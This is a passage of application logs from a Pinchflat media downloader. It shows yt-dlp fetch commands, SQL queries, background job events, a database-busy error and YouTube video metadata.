This video is not available\n" 22:20:42.850 [debug] QUERY OK source="settings" db=1830.4ms idle=212.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:42.850 [debug] QUERY OK source="tasks" db=203.5ms idle=123.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [213, 189, ~U[2026-07-24 02:20:42Z], ~U[2026-07-24 02:20:42Z]] 22:20:42.851 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=203.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:42.851 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=HUxq0YxIRls --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b2/3e/b23e100332da4cf99a0c47eddc4b2367f7a24583f2828ce01943db63836391ee.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:43.018 [info] {"args":{"id":119},"id":204,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3120086,"event":"job:stop","queue_time":587729,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:43.031 [debug] QUERY OK source="media_items" db=179.5ms idle=0.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-10 10:03:24Z], 4] 22:20:43.333 [debug] QUERY OK source="tasks" db=139.5ms idle=163.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [214, 190, ~U[2026-07-24 02:20:43Z], ~U[2026-07-24 02:20:43Z]] 22:20:44.237 [debug] QUERY OK source="tasks" db=745.4ms idle=158.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [215, 194, ~U[2026-07-24 02:20:43Z], ~U[2026-07-24 02:20:43Z]] 22:20:44.462 [info] POST /sources/1/media/19 22:20:44.463 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.update/2 Parameters: %{"_csrf_token" => "HwR6DhsuXndSMg0JOjp_OQYGRhk4LAAaviI9rf769T9YXwNoVlrjkXWY", "_method" => "put", "id" => "19", "media_item" => %{"prevent_culling" => "false", "prevent_download" => "true"}, "source_id" => "1"} Pipelines: [:browser] 22:20:44.544 [debug] QUERY OK source="tasks" db=160.7ms idle=143.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [216, 195, ~U[2026-07-24 02:20:44Z], ~U[2026-07-24 02:20:44Z]] 22:20:44.643 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=HUxq0YxIRls --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b2/3e/b23e100332da4cf99a0c47eddc4b2367f7a24583f2828ce01943db63836391ee.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] HUxq0YxIRls: Video unavailable. This video is not available 22:20:44.643 [error] yt-dlp download error for media item #121: "ERROR: [youtube] HUxq0YxIRls: Video unavailable. This video is not available\n" 22:20:44.643 [error] yt-dlp download will not be retried: "ERROR: [youtube] HUxq0YxIRls: Video unavailable. This video is not available\n" 22:20:44.849 [info] {"args":{"id":121},"id":205,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4381719,"event":"job:stop","queue_time":973718,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:45.187 [info] {"args":{"id":169},"id":206,"meta":{},"system_time":1784859645187020416,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:45.187 [debug] QUERY OK source="media_items" db=2155.3ms idle=180.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by BMG Rights Management (US) LLC\n\nINVISIBLE · Duran Duran\n\nFUTURE PAST\n\n℗ 2021 Tape Modern under exclusive license to BMG Rights Management (US) LLC\n\nReleased on: 2022-02-11\n\nVocals, Producer: Simon Le Bon\nKeyboards, Producer: Nick Rhodes\nBass, Producer: John Taylor\nDrums, Producer: Roger Taylor\nGuitar: Graham Coxon\nProgrammer, Piano, Sound Engineer, String Arrangement: Joshua Blair\nBackground Vocals: BARLI\nProgrammer, Synthesizer, Producer: Erol Alkan\nSound Engineer: Mark Stent\nMixing Assistant: Matt Wolach\nSound Engineer: John Webber\nSound Engineer: Ritchie Kennedy\nSound Engineer: Tom Herbert\nSound Engineer: Ed Farrell\nComposer: Simon Le Bon\nComposer: Nick Rhodes\nComposer: John Taylor\nComposer: Roger Taylor\nComposer: Erol Alkan\n\nAuto-generated by YouTube.", "INVISIBLE", "7a43dc5c-d95d-4272-8eba-b34e0f516ee5", false, "hChdmFBjH3s", 191, false, "https://www.youtube.com/watch?v=hChdmFBjH3s", 2, "/downloads/Grift/Grift/2022-02-10INVISIBLE[hChdmFBjH3s].m4a", false, false, 4, [], 1, ~U[2022-02-10 10:03:24Z], ~U[2026-07-24 02:20:43Z], ~U[2026-07-24 02:20:43Z], "Provided to YouTube by BMG Rights Management (US) LLC\n\nINVISIBLE · Duran Duran\n\nFUTURE PAST\n\n℗ 2021 Tape Modern under exclusive license to BMG Rights Management (US) LLC\n\nReleased on: 2022-02-11\n\nVocals, Producer: Simon Le Bon\nKeyboards, Producer: Nick Rhodes\nBass, Producer: John Taylor\nDrums, Producer: Roger Taylor\nGuitar: Graham Coxon\nProgrammer, Piano, Sound Engineer, String Arrangement: Joshua Blair\nBackground Vocals: BARLI\nProgrammer, Synthesizer, Producer: Erol Alkan\nSound Engineer: Mark Stent\nMixing Assistant: Matt Wolach\nSound Engineer: John Webber\nSound Engineer: Ritchie Kennedy\nSound Engineer: Tom Herbert\nSound Engineer: Ed Farrell\nComposer: Simon Le Bon\nComposer: Nick Rhodes\nComposer: John Taylor\nComposer: Roger Taylor\nComposer: Erol Alkan\n\nAuto-generated by YouTube.", "INVISIBLE", "hChdmFBjH3s", 191, false, "https://www.youtube.com/watch?v=hChdmFBjH3s", "/downloads/Grift/Grift/2022-02-10INVISIBLE[hChdmFBjH3s].m4a", false, 4, ~U[2022-02-10 10:03:24Z]] 22:20:45.338 [debug] QUERY OK source="tasks" db=151.8ms queue=518.1ms idle=0.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [217, 196, ~U[2026-07-24 02:20:44Z], ~U[2026-07-24 02:20:44Z]] 22:20:45.517 [debug] QUERY OK source="media_items" db=1054.1ms idle=222.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [19] 22:20:45.518 [debug] QUERY OK source="sources" db=330.1ms queue=0.1ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:45.518 [debug] QUERY OK source="media_items" db=330.3ms queue=0.2ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [169] 22:20:45.518 [info] {"args":{"id":176},"id":207,"meta":{},"system_time":1784859645517672314,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:45.519 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:45.520 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.3ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:46.523 [info] {"error":"** (Exqlite.Error) Database busy\nSELECT o0.\"id\", o0.\"queue\", o0.\"state\" FROM \"oban_jobs\" AS o0 WHERE (((o0.\"state\" = 'completed') AND (o0.\"scheduled_at\" < ?))) OR ((o0.\"state\" = 'cancelled') AND (o0.\"cancelled_at\" < ?)) OR ((o0.\"state\" = 'discarded') AND (o0.\"discarded_at\" < ?)) LIMIT ?","source":"oban","duration":2004866,"event":"plugin:exception","plugin":"Oban.Plugins.Pruner"} 22:20:46.523 [error] GenServer {Oban.Registry, {Oban, {:plugin, Oban.Plugins.Pruner}}} terminating ** (Exqlite.Error) Database busy SELECT o0."id", o0."queue", o0."state" FROM "oban_jobs" AS o0 WHERE (((o0."state" = 'completed') AND (o0."scheduled_at" < ?))) OR ((o0."state" = 'cancelled') AND (o0."cancelled_at" < ?)) OR ((o0."state" = 'discarded') AND (o0."discarded_at" < ?)) LIMIT ? (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1096: Ecto.Adapters.SQL.raise_sql_call_error/1 (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6 (ecto 3.12.5) lib/ecto/repo/queryable.ex:232: Ecto.Repo.Queryable.execute/4 (ecto 3.12.5) lib/ecto/repo/queryable.ex:19: Ecto.Repo.Queryable.all/3 (oban 2.19.4) lib/oban/engines/lite.ex:154: Oban.Engines.Lite.prune_jobs/3 (oban 2.19.4) lib/oban/engine.ex:272: anonymous fn/4 in Oban.Engine.prune_jobs/3 (oban 2.19.4) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4 (telemetry 1.3.0) /app/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3 Last message: :prune State: %Oban.Plugins.Pruner{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, timer: #Reference<0.304696451.716439553.70698>, interval: 30000, limit: 10000, max_age: 2592000} 22:20:46.752 [debug] QUERY OK source="media_items" db=1234.5ms idle=0.0ms UPDATE "media_items" SET "prevent_download" = ?, "updated_at" = ? WHERE "id" = ? [true, ~U[2026-07-24 02:20:45Z], 19] 22:20:46.752 [debug] QUERY OK source="media_items" db=1232.6ms queue=1.2ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [176] 22:20:46.752 [debug] QUERY OK source="sources" db=229.3ms queue=1004.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:46.753 [info] Sent 302 in 2290ms 22:20:46.753 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:46.792 [info] GET /sources/1/media/19 22:20:46.792 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "19", "source_id" => "1"} Pipelines: [:browser] 22:20:46.903 [info] Exqlite.Connection (#PID<0.2317.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.2949.0> exited 22:20:46.938 [info] POST /sources/1/media/19 22:20:46.938 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.update/2 Parameters: %{"_csrf_token" => "HwR6DhsuXndSMg0JOjp_OQYGRhk4LAAaviI9rf769T9YXwNoVlrjkXWY", "_method" => "put", "id" => "19", "media_item" => %{"prevent_culling" => "false", "prevent_download" => "true"}, "source_id" => "1"} Pipelines: [:browser] 22:20:47.071 [debug] QUERY OK source="tasks" db=167.6ms queue=0.1ms idle=0.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [218, 200, ~U[2026-07-24 02:20:46Z], ~U[2026-07-24 02:20:46Z]] 22:20:47.071 [debug] QUERY OK source="media_items" db=0.2ms queue=132.8ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [19] 22:20:47.072 [info] Sent 302 in 133ms 22:20:47.103 [info] GET /sources/1/media/19 22:20:47.104 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "19", "source_id" => "1"} Pipelines: [:browser] 22:20:47.210 [debug] QUERY OK source="media_items" db=0.2ms queue=105.5ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [19] 22:20:47.342 [debug] QUERY OK source="tasks" db=132.6ms queue=0.5ms idle=0.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [219, 201, ~U[2026-07-24 02:20:47Z], ~U[2026-07-24 02:20:47Z]] 22:20:47.343 [debug] QUERY OK source="tasks" db=0.1ms queue=132.9ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [19] 22:20:47.423 [debug] QUERY OK source="media_items" db=670.7ms queue=229.3ms idle=0.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [106] 22:20:47.423 [debug] QUERY OK source="sources" db=669.4ms queue=0.1ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:47.423 [debug] QUERY OK source="media_profiles" db=669.7ms queue=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:47.424 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈\n\n💀 MEME VERSION – this viral classic just turned into a DARK RAVE WEAPON\nYou know the meme… but NOT like this.\n\n🎬 Original meme by @slackcircus ❤❤\n\nListen here: https://on.soundcloud.com/xCpkmyDwyEuJyb5OWo\n\n🔊 Expect:\n\n* heavy industrial kicks\n* distorted bass\n* aggressive techno drop\n* cursed meme energy\n\n🎧 Perfect for:\ngym, rave, underground parties, late night drives\n\n👇 If you stayed for the drop… you're one of us.\n\n#hardtechno #industrialtechno #memeremix #technoremix #rave #darktechno #viral #tiktoktechno #2026 \n\nheyyeyaaeyaaa remix, meme techno remix, hard techno meme, industrial techno remix 2026, viral meme remix, rave techno, dark techno, techno remix, gym techno, underground techno, distorted techno, tiktok techno, hard rave, cursed remix, slackcircus meme", "duration" => 203, "filename" => "/downloads/Grift/Grift/2026-04-12HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈[4f62aPr49gE].m4a", "id" => "4f62aPr49gE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=4f62aPr49gE", "playlist_index" => 3, "timestamp" => 1776020721, "title" => "HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈", "upload_date" => "20260412"} 22:20:47.426 [debug] QUERY OK source="sources" db=1.8ms queue=0.6ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:47.427 [debug] QUERY OK source="media_profiles" db=3.1ms queue=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:47.593 [debug] QUERY OK source="sources" db=165.5ms queue=1.6ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:47.593 [debug] QUERY OK source="media_items" db=167.3ms queue=0.3ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [169] 22:20:47.593 [debug] QUERY OK source="oban_jobs" db=1.0ms queue=165.0ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [27] 22:20:47.593 [debug] QUERY OK source="media_items" db=0.6ms queue=0.4ms idle=0.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [176] 22:20:47.594 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:47.594 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 22:20:47.723 [debug] QUERY OK source="settings" db=129.3ms queue=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:47.723 [debug] QUERY OK source="tasks" db=130.3ms queue=0.5ms idle=0.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [220, 202, ~U[2026-07-24 02:20:47Z], ~U[2026-07-24 02:20:47Z]] 22:20:47.724 [debug] QUERY OK source="media_items" db=1.0ms queue=128.9ms idle=0.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-12 